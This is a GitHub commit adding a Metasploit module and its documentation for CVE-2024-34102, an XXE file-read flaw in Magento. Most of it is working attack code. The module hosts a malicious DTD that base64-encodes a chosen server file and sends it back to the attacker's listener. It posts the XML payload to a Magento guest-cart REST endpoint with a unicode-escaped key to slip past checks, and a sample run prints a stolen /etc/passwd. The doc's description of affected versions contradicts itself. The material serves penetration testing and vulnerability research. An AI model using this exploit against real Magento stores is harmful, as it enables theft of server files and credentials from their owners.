Skip to content

Commit 6ad5ba3

Browse files
committed
Land rapid7#19304, Add Magento XXE File Read Exploit
This adds an auxiliary module for an XXE which results in an arbirary file in Magento which is being tracked as CVE-2024-34102
2 parents 219abdd + 53afe2b commit 6ad5ba3

File tree

2 files changed

+367
-0
lines changed

2 files changed

+367
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
An unauthenticated user can read arbritraty file from Magento Community edition version 2.4.0 to 2.4.3.
6+
The vulnerability is due to the lack of input validation in the XML file. An attacker can exploit this
7+
vulnerability by sending a specially crafted XML file to the target server. The attacker can read any file on the server.
8+
9+
On June 27, 2024, Adobe released a software update that addressed this vulnerability (CVE-2024-34102).
10+
11+
The following products are affected:
12+
13+
- Adobe Commerce: versions before: 2.4.7; 2.4.6-p5; 2.4.5-p7; 2.4.4-p8; 2.4.3-ext-7 ; 2.4.2-ext-7
14+
- Magento Open Source: versions before: 2.4.7; 2.4.6-p5; 2.4.5-p7; 2.4.4-p8
15+
- Adobe Commerce Webhooks Plugin: versions 1.2.0 to 1.4.0
16+
17+
### Exploitation
18+
19+
This module exploits the XXE vulnerability in Magento by following these steps:
20+
21+
- Creating a DTD File: This file includes entities that will read and encode `FILE`, then send it to your endpoint.
22+
23+
- Host the DTD File: Serve the dtd.xml file, accessible via HTTP `SRVHOST` on port `SRVPORT`.
24+
25+
- Craft the HTTP Request: Craft the XML payload which will include the DTD file hosted on your server.
26+
27+
- Execute a HTTP Request: Send the crafted XML payload to the target server.
28+
29+
- Capture the Exfiltrated Data: The exfiltrated data will be sent back to the attacker in a HTTP GET request and them saved in the loot.
30+
31+
32+
33+
### Setup
34+
35+
Create a `docker-compose.yml` file as below:
36+
37+
```yml
38+
version: '2'
39+
services:
40+
mariadb:
41+
image: docker.io/bitnami/mariadb:10.6
42+
environment:
43+
# ALLOW_EMPTY_PASSWORD is recommended only for development.
44+
- ALLOW_EMPTY_PASSWORD=yes
45+
- MARIADB_USER=bn_magento
46+
- MARIADB_DATABASE=bitnami_magento
47+
volumes:
48+
- 'mariadb_data:/bitnami/mariadb'
49+
magento:
50+
image: docker.io/bitnami/magento:2
51+
ports:
52+
- '80:8080'
53+
- '443:8443'
54+
environment:
55+
- MAGENTO_HOST=localhost
56+
- MAGENTO_DATABASE_HOST=mariadb
57+
- MAGENTO_DATABASE_PORT_NUMBER=3306
58+
- MAGENTO_DATABASE_USER=bn_magento
59+
- MAGENTO_DATABASE_NAME=bitnami_magento
60+
- ELASTICSEARCH_HOST=elasticsearch
61+
- ELASTICSEARCH_PORT_NUMBER=9200
62+
# ALLOW_EMPTY_PASSWORD is recommended only for development.
63+
- ALLOW_EMPTY_PASSWORD=yes
64+
volumes:
65+
- 'magento_data:/bitnami/magento'
66+
depends_on:
67+
- mariadb
68+
- elasticsearch
69+
elasticsearch:
70+
image: docker.io/bitnami/elasticsearch:7
71+
volumes:
72+
- 'elasticsearch_data:/bitnami/elasticsearch/data'
73+
volumes:
74+
mariadb_data:
75+
driver: local
76+
magento_data:
77+
driver: local
78+
elasticsearch_data:
79+
driver: local
80+
```
81+
82+
Run the below command to create the container:
83+
84+
```
85+
$ docker-compose up
86+
```
87+
88+
89+
## Verification Steps
90+
Follow [Setup](#setup) and [Scenarios](#scenarios).
91+
92+
## Options
93+
94+
### TARGETURI (required)
95+
96+
The path to the Magento (Default: `/`).
97+
98+
### SRVHOST (required)
99+
100+
The local IP address to listen on. This must be a routable IP address on the local machine (0.0.0.0 is invalid).
101+
102+
### SRVPORT (required)
103+
104+
The local port to listen on.
105+
106+
## Scenarios
107+
108+
### Docker container running Magento Community edition version 2.4
109+
110+
```
111+
Module options (exploit/multi/http/magento_xxe_cve_2024_34102):
112+
113+
Name Current Setting Required Description
114+
---- --------------- -------- -----------
115+
FILE /etc/passwd yes The file to read
116+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
117+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
118+
RPORT 80 yes The target port (TCP)
119+
SRVHOST 192.168.128.1 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
120+
SRVPORT 8080 yes The local port to listen on.
121+
SSL false no Negotiate SSL/TLS for outgoing connections
122+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
123+
TARGETURI / yes The base path to the web application
124+
URIPATH no The URI to use for this exploit (default is random)
125+
VHOST localhost no HTTP server virtual host
126+
```
127+
128+
```
129+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) >
130+
[!] AutoCheck is disabled, proceeding with exploitation
131+
[*] Using URL: http://192.168.128.1:8080/
132+
[*] Sending XXE request
133+
[*] Received request for DTD file from 192.168.144.4
134+
[+] Received file /etc/passwd content
135+
[+] File saved in: /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
136+
137+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
138+
[*] exec: cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
139+
140+
root:x:0:0:root:/root:/bin/bash
141+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
142+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
143+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
144+
sync:x:4:65534:sync:/bin:/bin/sync
145+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
146+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
147+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
148+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
149+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
150+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
151+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
152+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
153+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
154+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
155+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
156+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
157+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
158+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) >
159+
```
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Exploit::Remote::HttpServer
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
CheckCode = Exploit::CheckCode
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Magento XXE Unserialize Arbitrary File Read',
18+
'Description' => %q{
19+
This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'Sergey Temnikov', # Vulnerability discovery
24+
'Heyder', # Metasploit module
25+
],
26+
27+
'References' => [
28+
['CVE', '2024-34102'],
29+
['URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md']
30+
],
31+
'DisclosureDate' => '2024-06-11',
32+
'Notes' => {
33+
'Stability' => [CRASH_SAFE],
34+
'Reliability' => [],
35+
'SideEffects' => [IOC_IN_LOGS]
36+
}
37+
)
38+
)
39+
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
43+
OptString.new('TARGETFILE', [ true, 'The target file to read', '/etc/passwd']),
44+
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false])
45+
]
46+
)
47+
end
48+
49+
def check
50+
vprint_status('Trying to get the Magento version')
51+
52+
# request to check if the target is vulnerable /magento_version
53+
res = send_request_cgi({
54+
'method' => 'GET',
55+
'uri' => normalize_uri(target_uri.path, '/magento_version')
56+
})
57+
58+
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
59+
60+
# Magento/2.4 (Community)
61+
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first
62+
63+
version = Rex::Version.new(version)
64+
65+
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless
66+
version <= (Rex::Version.new('2.4.7')) ||
67+
version <= (Rex::Version.new('2.4.6-p5')) ||
68+
version <= (Rex::Version.new('2.4.5-p7')) ||
69+
version <= (Rex::Version.new('2.4.4-p8')) ||
70+
(
71+
edition == 'Enterprise' && (
72+
version <= (Rex::Version.new('2.4.3-ext-7')) ||
73+
version <= (Rex::Version.new('2.4.2-ext-7'))
74+
)
75+
)
76+
77+
CheckCode::Appears("Detected Magento #{edition} edition version #{version} which is vulnerable")
78+
end
79+
80+
def ent_eval
81+
@ent_eval ||= Rex::Text.rand_text_alpha_lower(4..8)
82+
end
83+
84+
def leak_param_name
85+
@leak_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)
86+
end
87+
88+
def dtd_param_name
89+
@dtd_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)
90+
end
91+
92+
def make_xxe_dtd
93+
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['TARGETFILE']}"
94+
ent_file = Rex::Text.rand_text_alpha_lower(4..8)
95+
%(
96+
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
97+
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
98+
)
99+
end
100+
101+
def xxe_xml_data
102+
param_entity_name = Rex::Text.rand_text_alpha_lower(4..8)
103+
104+
xml = "<?xml version='1.0' ?>"
105+
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
106+
xml += '['
107+
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
108+
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
109+
xml += ']'
110+
xml += "> <r>&#{ent_eval};</r>"
111+
112+
xml
113+
end
114+
115+
def xxe_request
116+
vprint_status('Sending XXE request')
117+
118+
signature = Rex::Text.rand_text_alpha(6).capitalize
119+
120+
post_data = <<~EOF
121+
{
122+
"address": {
123+
"#{signature}": "#{Rex::Text.rand_text_alpha_lower(4..8)}",
124+
"totalsCollector": {
125+
"collectorList": {
126+
"totalCollector": {
127+
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
128+
"data": "#{xxe_xml_data}",
129+
"options": 12345678
130+
}
131+
}
132+
}
133+
}
134+
}
135+
}
136+
EOF
137+
138+
res = send_request_cgi({
139+
'method' => 'POST',
140+
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
141+
'ctype' => 'application/json',
142+
'data' => post_data
143+
})
144+
145+
fail_with(Failure::UnexpectedReply, "Server returned unexpected response: #{res.code}") unless res&.code == 400
146+
147+
body = res.get_json_document
148+
149+
fail_with(Failure::UnexpectedReply, 'Server might not be vulnerable') unless body['parameters']['fieldName'] == signature
150+
end
151+
152+
def run
153+
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
154+
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
155+
end
156+
157+
if datastore['SSL']
158+
ssl_restore = true
159+
datastore['SSL'] = false
160+
end
161+
start_service({
162+
'Uri' => {
163+
'Proc' => proc do |cli, req|
164+
on_request_uri(cli, req)
165+
end,
166+
'Path' => '/'
167+
}
168+
})
169+
datastore['SSL'] = true if ssl_restore
170+
xxe_request
171+
rescue Timeout::Error => e
172+
fail_with(Failure::TimeoutExpired, e.message)
173+
end
174+
175+
def on_request_uri(cli, req)
176+
super
177+
data = ''
178+
179+
case req.uri
180+
when /(.*).dtd/
181+
vprint_status("Received request for DTD file from #{cli.peerhost}")
182+
data = make_xxe_dtd
183+
when /#{leak_param_name}/
184+
data = req.uri_parts['QueryString'].values.first.gsub(/\s/, '+')
185+
if data&.empty?
186+
print_error('No data received')
187+
else
188+
189+
file_name = datastore['TARGETFILE']
190+
file_data = ::Base64.decode64(data).force_encoding('UTF-8')
191+
192+
if datastore['STORE_LOOT']
193+
p = store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'Magento XXE CVE-2024-34102 Results')
194+
print_good("File saved in: #{p}")
195+
else
196+
# A new line is sent before file contents for better readability
197+
print_good("File read succeeded! \n#{file_data}")
198+
end
199+
200+
end
201+
else
202+
print_status("Unexpected request received: '#{req.method} #{req.uri}'")
203+
end
204+
205+
send_response(cli, data)
206+
end
207+
208+
end

0 commit comments

Comments
 (0)